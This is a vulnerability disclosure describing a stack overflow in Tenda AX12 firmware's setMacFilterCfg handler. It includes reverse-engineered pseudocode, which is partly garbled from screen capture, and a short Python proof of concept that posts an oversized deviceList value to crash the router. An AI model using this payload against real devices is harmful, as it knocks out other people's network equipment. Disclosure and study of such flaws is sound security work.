# Vulnerability profile

There is a stack overflow vulnerability in the latest version of Tenda AX12 firmware V22.03.01.46\_CN. The vulnerability is caused by sub\_42F69C function of /goform/setMacFilterCfg copying the content of the field value in the request body directly to the stack buffer without checking the length of the field value. ddos attacks can be caused.

## Affected entity

Tenda AX12 V22.03.01.46\_CN

## Call chain analysis

The vulnerability arises from the sub\_42F69C function of the /goform/setMacFilterCfg interface.

```
Data Unexplored External symbol Lumina function
🔳 IDA Vie… 🖸 🔳 Pseudocod… 🖸 🔳 Pseudocod… 🔼 🔼 Probl… 🖸 🕟 Strings from LOAD:00437084 to LOAD:00437... 🖸 🖪 Strin 🖸 🗑 Hex
 50 websFormDefine("SetLEDCfg", sub_43A1FC);
 51 websFormDefine("PowerSaveGet", sub_43A360);
         websFormDefine("PowerSaveSet", sub_43A46C);
websFormDefine("GetIpMacBind", sub_43D19C);
   52
   53
   54 websFormDefine("SetIpMacBind", sub 43D5A4);
         websFormDefine("exit", sub_4194B4);
    55
         websFormDefine("GetRouterStatus", sub_437274);
websFormDefine("getMeshStatus", sub_437620);
    56
    57
         websFormDefine("GetSystemStatus", sub_436AB4);
   58
          websFormDefine("getIPv6Status", sub_42DF84);
    59
         websFormDefine("setIPv6Status", sub_42E050);
websFormDefine("getBlackRuleList", sub_42F2DC);
websFormDefine("getMacFilterCfg", sub_42EF9C);
    60
    61
   62
          websFormDefine("setBlackRule", sub_42F9E0);
   63
         websFormDefine("delBlackRule", sub_42FC08);
websFormDefine("setMacFilterCfg", sub_42F69C);
    64
   65
   66
          websformDefine("getUnlineList", sub_43830C);
         websFormDefine("GetParentCtrlList", sub_430BF8);
   67
         websFormDefine("GetParentControlInfo", sub_4304CC);
    68
         websFormDefine("parentControlEn", sub_431078);
websFormDefine("SetOnlineDevName", sub_430304);
    69
   70
         websFormDefine("delParentalRule", sub_4311A0);
   71
         websFormDefine("saveParentControlInfo", sub_430D90);
websFormDefine("SetSysAutoRebbotCfg", sub_43A6D4);
   72
         websFormDefine("GetSysAutoRebbotCfg", sub_43A604);
        UNKNOWN set_hander:65 (41E348)
```

The web\_get\_values function reads the values of the macFilterType and deviceList fields from the request body and passes the values of the two fields to the sub\_42E410 function in a series of operations.

```
💹 Data 💹 Unexplored 🥌 External symbol 🔃 Lumina function
🔳 IDA Vie… 🖸 📗 Pseudocod… 🔯 🔝 Pseudocod… 🔯 🔝 Probl… 🖸 🗩 Strings from LOAD:00437084 to LOAD:00437...
          "\x1B[0;32m",
   62
   63
          &v19[2],
          v19[0]);
   64
   65
        get_mf_count(&v14, &v15);
        if ( v14 < 30 && v15 < 30 )
   66
   67
   68
          for (i = 0; ; ++i)
   69
   70
             v12 = strchr(deviceList, '\n');
             v13 = v12;
   71
             if (!v12)
   72
   73
              break;
   74
             *v12 = 0;
   75
             sub_42E410(macFilterType, deviceList, v18, v16, i);
   76
             deviceList = v13 + 1;
   77
          sub_42E410(macFilterType, deviceList, v18, v16, i);
   78
   79
   80
        }
        v4 = 1;
   81
   82 LABEL_4:
        sub_42E3C0(v17, 3, macFilterType);
        tapi_set_mf_cfg(v17[0]);
        blob_buf_free(v17, v5);
      UNKNOWN sub_42F69C:78 (42F974)
```

A specific overflow occurs in the sub\_42E410 function. If the value of the deviceList field contains "\r", it is copied into the stack buffer without checking the length of the deviceList field value, creating a stack

#### overflow.

```
tion 💹 Data 📕 Unexplored 🧾 External symbol 📘 Lumina function
  III IDA Vie… 🖸 III Pseudocod… 🔯 III Pseudocod… 🔯 🔳 Probl… 🔯 🕟 Strings from LOAD:00437084 to LOAD:00437... 🔯 🕟 Stri… 🔯
     19
          else
     20
          {
            v9 = 0;
   0 21
     22
   • 23
          memset(v15, 0, sizeof(v15));
   • 24 v11 = strchr(a2, '\r');
   • 25
          if ( v11 )
     26
   • 27
            *v11 = 0;
   • 28
            v12 = v11 + 1;
            printf(
   • 29
     30
               "%s[%s:%s:%d] %sparase rule: name == %s, mac == %s\n\x1B[0m",
               "\x1B[0;33m",
     31
     32
              &dword_458F44,
     33
               "parse_macfilter_rule",
     34
              283,
               "\x1B[0;32m",
     35
     36
               a2,
     37
               (v11 + 1));
            to_lower_str(v12);
   • 38
                                                               // stack_overflow
   0 39
            strcpy(&v15[32], a2);
                                                               // 042E51C
     40
   • 41
            strcpy(v15, v12);
     42
        UNKNOWN sub_42E410:24 (42E4C0)
steell blob most stant/ DUDDD DUDDD).
```

#### poc

```
import requests
def stackk over(passwd,macFilterType,deviceList):
    url = "http://192.168.30.149/goform/setMacFilterCfg"
    headers = {
    "Host": "192.168.30.149",
    "Connection": "keep-alive",
    "Content-Length": "31",
    "Pragma": "no-cache",
    "Cache-Control": "no-cache",
    "Upgrade-Insecure-Requests": "1",
    "Origin": "http://192.168.30.149",
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.3
6 (KHTML, like Gecko) Chrome/121.0.0.0Safari/537.36 Edg/121.0.0.0",
    "Accept":
    "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,i
mage/apng,*/*;q=0.8,application/signedexchange;v=b3;q=0.7",
    "Referer": "http://192.168.30.149/mac filter.html?random=0.9116090896561684
&",
```

```
"Accept-Encoding": "gzip, deflate",
    "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
    "Cookie": f"password={passwd}",
    }
    data = {
        "macFilterType": macFilterType,
        "deviceList":deviceList
    }
    response = requests.post(url, headers=headers, data=data)
    print("status:",response.status_code)
    print(response.text)

passwd="25d55ad283aa400af464c76d713c07adgpuded"
deviceList="\r"+"1"*0x100
macFilterType="black"
stackk_over(passwd,macFilterType,deviceList)
```

## Vulnerability verification

Access the setMacFilterCfg interface after authorization, send a post request, set the deviceList field to "\r"+ a large amount of junk data, beyond the range of 160 bytes, which can trigger stack overflow and cause ddos. A segmentation fault occurs when passwd in the poc is modified to run the poc directly and view router logs

### influence

Triggering a stack overflow causes the program to terminate abnormally, which can result in a ddos attack.

### discoverer

This vulnerability was discovered by sta8r9(16639006893@163.com).